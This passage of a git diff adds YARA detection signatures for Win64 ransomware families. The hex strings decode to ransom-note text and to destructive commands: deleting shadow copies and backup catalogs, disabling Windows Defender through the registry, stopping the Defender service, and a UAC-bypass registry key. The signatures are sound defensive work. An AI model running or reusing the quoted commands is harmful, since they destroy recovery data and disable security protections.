66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //5 Software\Microsoft\Windows\CurrentVersion\Run + $a_01_2 = {43 6f 6f 6b 69 65 73 } //1 Cookies + $a_01_3 = {4d 79 43 6c 6f 6e 65 } //1 MyClone + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_AMX_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_AMX_MTB.yar new file mode 100644 index 0000000000..e0d2cc135a --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_AMX_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Filecoder_AMX_MTB{ + meta: + description = "Ransom:Win64/Filecoder.AMX!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //1 files have been encrypted + $a_01_1 = {69 6e 66 65 63 74 65 64 20 77 69 74 68 20 61 20 72 61 6e 73 6f 6d 77 61 72 65 20 76 69 72 75 73 } //1 infected with a ransomware virus + $a_01_2 = {62 69 74 63 6f 69 6e 73 2e 63 6f 6d } //1 bitcoins.com + $a_01_3 = {47 00 65 00 74 00 2d 00 57 00 6d 00 69 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 53 00 68 00 61 00 64 00 6f 00 77 00 43 00 6f 00 70 00 79 00 } //1 Get-WmiObject Win32_ShadowCopy + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_BMX_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_BMX_MTB.yar new file mode 100644 index 0000000000..2932f4aa8c --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_BMX_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Filecoder_BMX_MTB{ + meta: + description = "Ransom:Win64/Filecoder.BMX!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {53 65 6e 64 69 6e 67 20 65 6e 63 72 79 70 74 69 6f 6e 20 6b 65 79 73 20 74 6f 20 54 65 6c 65 67 72 61 6d } //1 Sending encryption keys to Telegram + $a_01_1 = {66 69 6c 65 73 20 74 6f 20 65 6e 63 72 79 70 74 } //1 files to encrypt + $a_01_2 = {54 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 20 00 42 00 6f 00 74 00 20 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Telegram Bot Client + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_CCJX_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_CCJX_MTB.yar new file mode 100644 index 0000000000..f7b74fd6a6 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_CCJX_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Filecoder_CCJX_MTB{ + meta: + description = "Ransom:Win64/Filecoder.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {49 4e 43 2d 52 45 41 44 4d 45 2e 74 78 74 2e 2e 77 69 6e 64 6f 77 73 70 72 6f 67 72 61 6d 20 66 69 6c 65 73 61 70 70 64 61 74 61 24 72 65 63 79 63 6c 65 2e 62 69 6e 49 4e 43 2e 6c 6f 67 2e 64 6c 6c } //2 INC-README.txt..windowsprogram filesappdata$recycle.binINC.log.dll + $a_01_1 = {53 75 63 63 65 73 73 66 75 6c 6c 79 20 64 65 6c 65 74 65 64 20 73 68 61 64 6f 77 20 63 6f 70 69 65 73 20 66 72 6f 6d } //1 Successfully deleted shadow copies from + $a_01_2 = {53 75 63 63 65 73 73 66 75 6c 6c 79 20 6b 69 6c 6c 65 64 20 70 72 6f 63 65 73 73 65 73 20 62 79 20 6d 61 73 6b } //1 Successfully killed processes by mask + $a_01_3 = {53 75 63 63 65 73 73 66 75 6c 6c 79 20 6b 69 6c 6c 65 64 20 73 65 72 76 69 63 65 73 20 62 79 20 6d 61 73 6b } //1 Successfully killed services by mask + $a_01_4 = {77 68 69 6c 65 20 65 6e 63 72 79 70 74 69 6e 67 20 66 69 6c 65 3a } //1 while encrypting file: + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_C_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_C_MTB.yar new file mode 100644 index 0000000000..3cbc061071 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_C_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Filecoder_C_MTB{ + meta: + description = "Ransom:Win64/Filecoder.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 64 65 6c 65 74 65 56 53 53 } //3 main.deleteVSS + $a_01_1 = {6d 61 69 6e 2e 65 6e 63 72 79 70 74 46 69 6c 65 } //3 main.encryptFile + $a_01_2 = {6d 61 69 6e 2e 73 63 61 6e 41 6e 64 45 6e 63 72 79 70 74 } //3 main.scanAndEncrypt + $a_01_3 = {6d 61 69 6e 2e 73 68 6f 75 6c 64 45 6e 63 72 79 70 74 } //2 main.shouldEncrypt + $a_01_4 = {6d 61 69 6e 2e 73 68 6f 75 6c 64 45 78 63 6c 75 64 65 } //2 main.shouldExclude + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*3+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2) >=13 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_FFD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_FFD_MTB.yar new file mode 100644 index 0000000000..c2b994f2eb --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_FFD_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_Filecoder_FFD_MTB{ + meta: + description = "Ransom:Win64/Filecoder.FFD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 c0 c6 02 89 f0 44 30 e8 44 30 f0 48 8b 4d ?? 88 04 31 48 8d 46 01 48 89 45 f8 48 89 c6 48 39 c7 0f 84 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_GGN_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_GGN_MTB.yar new file mode 100644 index 0000000000..64018ff4f5 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_GGN_MTB.yar @@ -0,0 +1,18 @@ + +rule Ransom_Win64_Filecoder_GGN_MTB{ + meta: + description = "Ransom:Win64/Filecoder.GGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_01_0 = {47 6c 6f 62 61 6c 5c 52 61 6e 73 6f 6d 4c 6f 72 64 5f 32 30 32 35 } //1 Global\RansomLord_2025 + $a_01_1 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //1 vssadmin delete shadows /all /quiet + $a_01_2 = {53 45 4e 44 20 50 52 4f 4f 46 20 54 4f 20 64 61 72 6b 77 65 62 5f 64 65 61 64 } //1 SEND PROOF TO darkweb_dead + $a_01_3 = {59 4f 55 52 20 53 59 53 54 45 4d 20 49 53 20 41 4e 4e 49 48 49 4c 41 54 45 44 } //1 YOUR SYSTEM IS ANNIHILATED + $a_01_4 = {73 63 20 73 74 6f 70 20 57 69 6e 44 65 66 65 6e 64 } //1 sc stop WinDefend + $a_01_5 = {50 41 59 5f 55 50 2e 74 78 74 } //1 PAY_UP.txt + $a_01_6 = {44 69 73 61 62 6c 65 41 6e 74 69 53 70 79 77 61 72 65 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 31 20 2f 66 } //1 DisableAntiSpyware /t REG_DWORD /d 1 /f + $a_01_7 = {2e 65 6e 63 72 79 70 74 65 64 } //1 .encrypted + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_MKQ_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_MKQ_MTB.yar new file mode 100644 index 0000000000..0754fca142 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_MKQ_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_Filecoder_MKQ_MTB{ + meta: + description = "Ransom:Win64/Filecoder.MKQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {44 69 73 61 62 6c 65 20 46 69 72 65 77 61 6c 6c } //1 Disable Firewall + $a_01_1 = {45 6e 63 72 79 70 74 20 61 6c 6c 20 66 69 6c 65 73 } //1 Encrypt all files + $a_01_2 = {21 21 21 20 57 41 52 4e 49 4e 47 3a 20 52 41 4e 53 4f 4d 57 41 52 45 20 44 45 54 45 43 54 45 44 20 21 21 21 } //1 !!! WARNING: RANSOMWARE DETECTED !!! + $a_01_3 = {56 49 52 55 53 20 44 45 54 45 43 54 45 44 21 20 50 41 59 20 54 4f 20 52 45 4d 4f 56 45 21 } //1 VIRUS DETECTED! PAY TO REMOVE! + $a_01_4 = {72 61 6e 73 6f 6d 5f 6e 6f 74 65 2e 74 78 74 } //1 ransom_note.txt + $a_01_5 = {2e 65 6e 63 72 79 70 74 65 64 } //1 .encrypted + $a_01_6 = {59 6f 75 72 20 50 43 20 69 73 20 46 55 43 4b 45 44 } //1 Your PC is FUCKED + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NITD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NITD_MTB.yar index dbb7092f75..b424f0488d 100644 --- a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NITD_MTB.yar +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NITD_MTB.yar @@ -14,6 +14,22 @@ rule Ransom_Win64_Filecoder_NITD_MTB{ } rule Ransom_Win64_Filecoder_NITD_MTB_2{ + meta: + description = "Ransom:Win64/Filecoder.NITD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 00 " + + strings : + $a_01_0 = {57 61 6e 6e 61 44 65 63 72 79 70 74 69 6f 6e 2e 70 64 62 } //2 WannaDecryption.pdb + $a_01_1 = {65 6e 63 72 79 70 74 65 64 20 66 69 6c 65 } //2 encrypted file + $a_01_2 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 } //2 Your files are encrypted + $a_01_3 = {44 65 63 72 79 70 74 69 6f 6e 20 63 6f 6d 70 6c 65 74 65 64 21 } //2 Decryption completed! + $a_01_4 = {44 65 63 72 79 70 74 69 6e 67 20 66 69 6c 65 73 } //2 Decrypting files + $a_01_5 = {54 6f 20 64 65 63 72 79 70 74 20 79 6f 75 72 20 66 69 6c 65 73 } //1 To decrypt your files + $a_01_6 = {64 72 6f 70 20 6f 66 20 74 68 65 20 70 61 6e 69 63 20 70 61 79 6c 6f 61 64 20 70 61 6e 69 63 6b 65 64 } //1 drop of the panic payload panicked + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=12 + +} +rule Ransom_Win64_Filecoder_NITD_MTB_3{ meta: description = "Ransom:Win64/Filecoder.NITD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0b 00 00 " diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NIT_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NIT_MTB.yar new file mode 100644 index 0000000000..d4be955fb7 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_NIT_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Filecoder_NIT_MTB{ + meta: + description = "Ransom:Win64/Filecoder.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {48 8b 74 24 70 48 8d 34 f2 48 8d b6 d8 01 01 00 49 89 c2 48 87 06 48 8b 84 24 a0 00 00 00 48 8b 8c 24 80 00 00 00 48 89 d6 4c 8b 44 24 78 49 b9 ff ff ff ff ff 7f 00 00 41 84 02 41 81 e0 ff ff 0f 00 4f 8b 1c c2 4d 85 db 0f 85 b9 01 00 00 4c 89 44 24 30 4c 89 94 24 88 00 00 00 48 8d 86 e0 03 01 00 bb d0 10 00 00 b9 08 00 00 00 48 8d 3d a5 a2 28 00 } //2 + $a_01_1 = {66 69 6c 65 77 61 6c 6b 65 72 } //2 filewalker + $a_01_2 = {45 6e 63 72 79 70 74 44 69 72 65 63 74 6f 72 79 } //2 EncryptDirectory + $a_01_3 = {6b 69 6c 6c 69 6e 67 20 43 6d 64 65 78 65 63 } //1 killing Cmdexec + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHC_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHC_MTB.yar new file mode 100644 index 0000000000..4100e97657 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHC_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Filecoder_PAHC_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PAHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //2 vssadmin delete shadows /all /quiet + $a_01_1 = {77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 } //1 wbadmin delete catalog -quiet + $a_01_2 = {59 4f 55 52 20 46 49 4c 45 53 20 41 52 45 20 45 4e 43 52 59 50 54 45 44 } //2 YOUR FILES ARE ENCRYPTED + $a_01_3 = {63 6d 64 20 2f 63 20 72 65 67 20 61 64 64 20 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 43 6c 61 73 73 65 73 5c 6d 73 2d 73 65 74 74 69 6e 67 73 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 20 2f 76 20 44 65 6c 65 67 61 74 65 45 78 65 63 75 74 65 20 2f 66 } //1 cmd /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /f + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHD_MTB.yar new file mode 100644 index 0000000000..e98168eac5 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHD_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Filecoder_PAHD_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PAHD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {89 d0 c1 e8 1e 31 d0 69 c0 65 89 07 6c 42 8d 14 20 42 89 14 a3 49 83 c4 01 49 81 fc 70 02 00 00 75 } //3 + $a_00_1 = {41 00 6c 00 6c 00 20 00 79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //1 All your files have been encrypted + $a_00_2 = {52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 } //2 Ransomware + condition: + ((#a_01_0 & 1)*3+(#a_00_1 & 1)*1+(#a_00_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHE_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHE_MTB.yar new file mode 100644 index 0000000000..71ceb9c8a1 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHE_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Filecoder_PAHE_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PAHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {44 6b c1 1c b8 09 04 02 81 41 f7 e8 41 03 d0 c1 fa 06 8b c2 c1 e8 1f 03 d0 6b c2 7f 44 2b c0 41 83 c0 7f b8 09 04 02 81 41 f7 e8 41 03 d0 c1 fa 06 8b c2 c1 e8 } //2 + $a_00_1 = {3c 00 42 00 41 00 43 00 4b 00 55 00 50 00 5f 00 45 00 4d 00 41 00 49 00 4c 00 3e 00 } //1 + $a_00_2 = {3c 00 52 00 45 00 41 00 44 00 4d 00 45 00 5f 00 46 00 49 00 4c 00 45 00 4e 00 41 00 4d 00 45 00 3e 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHF_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHF_MTB.yar new file mode 100644 index 0000000000..43388c3ad4 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHF_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Filecoder_PAHF_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PAHF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {48 8b 8c 24 80 00 00 00 48 8b 49 30 48 8b 94 24 98 00 00 00 48 89 14 24 48 8b 54 24 68 48 89 54 24 08 48 8b 54 24 70 48 89 54 24 10 44 0f 11 7c 24 18 48 c7 44 24 28 00 00 00 00 48 8b 84 } //2 + $a_01_1 = {24 a0 00 00 00 48 8b 9c 24 b0 00 00 00 48 8b 7c 24 78 48 89 de 49 89 f8 49 89 f9 48 89 ca 48 89 f9 ff d2 48 89 84 24 a8 00 00 00 48 89 9c 24 88 00 00 00 48 89 8c 24 } //2 + $a_01_2 = {2e 65 6e 63 } //1 .enc + $a_01_3 = {45 6e 63 72 79 70 74 69 6e 67 } //1 Encrypting + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHG_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHG_MTB.yar new file mode 100644 index 0000000000..1dcd923757 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAHG_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Filecoder_PAHG_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PAHG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 00 " + + strings : + $a_01_0 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 74 6f 72 61 67 65 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //10 vssadmin delete shadowstorage /all /quiet + $a_01_1 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //10 vssadmin delete shadows /all /quiet + $a_01_2 = {72 65 67 20 61 64 64 20 22 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 50 6f 6c 69 63 69 65 73 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 22 20 2f 76 20 44 69 73 61 62 6c 65 41 6e 74 69 53 70 79 77 61 72 65 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 31 20 2f 66 } //2 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f + $a_01_3 = {72 65 67 20 61 64 64 20 22 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 50 6f 6c 69 63 69 65 73 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 22 20 2f 76 20 44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 31 20 2f 66 } //2 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f + $a_01_4 = {44 69 73 61 62 6c 65 54 61 73 6b 4d 67 72 } //1 DisableTaskMgr + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1) >=15 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAQ_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAQ_MTB.yar new file mode 100644 index 0000000000..180ba5ed74 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PAQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Filecoder_PAQ_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PAQ!MTB,SIGNATURE_TYPE_PEHSTR,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 2c 20 61 6e 64 20 79 6f 75 72 20 73 65 6e 73 69 74 69 76 65 20 64 61 74 61 20 68 61 73 20 62 65 65 6e 20 65 78 66 69 6c 74 72 61 74 65 64 } //2 Your files have been encrypted, and your sensitive data has been exfiltrated + $a_01_1 = {57 68 61 74 20 64 72 69 76 65 20 64 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 65 6e 63 72 79 70 74 } //2 What drive do you want to encrypt + $a_01_2 = {54 6f 20 75 6e 6c 6f 63 6b 20 79 6f 75 72 20 66 69 6c 65 73 20 61 6e 64 20 70 72 65 76 65 6e 74 20 70 75 62 6c 69 63 20 64 69 73 63 6c 6f 73 75 72 65 20 6f 66 20 64 61 74 61 20 61 20 70 61 79 6d 65 6e 74 20 69 73 20 72 65 71 75 69 72 65 64 } //2 To unlock your files and prevent public disclosure of data a payment is required + $a_01_3 = {65 6e 63 76 32 2e 70 64 62 } //1 encv2.pdb + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PZD_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PZD_MTB.yar new file mode 100644 index 0000000000..a6bc37223f --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_PZD_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win64_Filecoder_PZD_MTB{ + meta: + description = "Ransom:Win64/Filecoder.PZD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {48 01 d0 0f b6 00 83 f0 55 89 c2 48 8d 4d ?? 48 8b 85 ?? 0f 00 00 48 01 c8 88 10 48 83 85 ?? 0f 00 00 01 48 8b 85 ?? 0f 00 00 48 3b 85 ?? 0f 00 00 72 } //3 + $a_02_1 = {66 69 6c 65 73 20 [0-32] 65 6e 63 72 79 70 74 65 64 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_02_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_UDP_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_UDP_MTB.yar new file mode 100644 index 0000000000..a6a32e63fc --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_UDP_MTB.yar @@ -0,0 +1,20 @@ + +rule Ransom_Win64_Filecoder_UDP_MTB{ + meta: + description = "Ransom:Win64/Filecoder.UDP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " + + strings : + $a_81_0 = {52 61 6e 73 6f 6d 77 61 72 65 20 53 69 6d 75 6c 61 74 69 6f 6e } //1 Ransomware Simulation + $a_81_1 = {44 65 66 65 6e 73 65 45 76 61 73 69 6f 6e 2b 3c 3e 63 2b 3c 3c 44 69 73 61 62 6c 65 53 65 63 75 72 69 74 79 53 6f 66 74 77 61 72 65 3e } //1 DefenseEvasion+<>c+< + $a_81_2 = {3c 45 6e 63 72 79 70 74 44 69 72 65 63 74 6f 72 69 65 73 3e } //1 + $a_81_3 = {3c 44 69 73 61 62 6c 65 53 65 63 75 72 69 74 79 53 6f 66 74 77 61 72 65 3e } //1 + $a_81_4 = {45 6e 73 75 72 65 52 75 6e 6e 69 6e 67 41 73 41 64 6d 69 6e } //1 EnsureRunningAsAdmin + $a_81_5 = {4d 6f 64 65 72 6e 20 57 6f 6f 64 6d 65 6e 20 6f 66 20 41 6d 65 72 69 63 61 } //1 Modern Woodmen of America + $a_81_6 = {43 6f 6d 6d 61 6e 64 20 26 20 43 6f 6e 74 72 6f 6c } //1 Command & Control + $a_81_7 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //1 vssadmin delete shadows /all /quiet + $a_81_8 = {50 61 79 20 74 68 65 20 72 61 6e 73 6f 6d 20 74 6f 20 67 65 74 20 74 68 65 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 2e } //1 Pay the ransom to get the decryption key. + $a_81_9 = {64 65 74 65 63 74 20 61 6e 64 20 73 74 6f 70 20 41 56 20 26 20 45 44 52 } //1 detect and stop AV & EDR + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBC_MTB.yar b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBC_MTB.yar new file mode 100644 index 0000000000..7fbfd160c2 --- /dev/null +++ b/Ransom/Win64/Filecoder/Ransom_Win64_Filecoder_YBC_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_Filecoder_YBC_MTB{ + meta: + description = "Ransom:Win64/Filecoder.YBC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 5c 64 72 69 76 65 72 73 5c 65 74 63 5c 68 6f 73 74 73 } //1 C:\Windows\System32\drivers\etc\hosts + $a_01_1 = {65 6e 63 72 79 70 74 69 6f 6e 5f 6c 6f 67 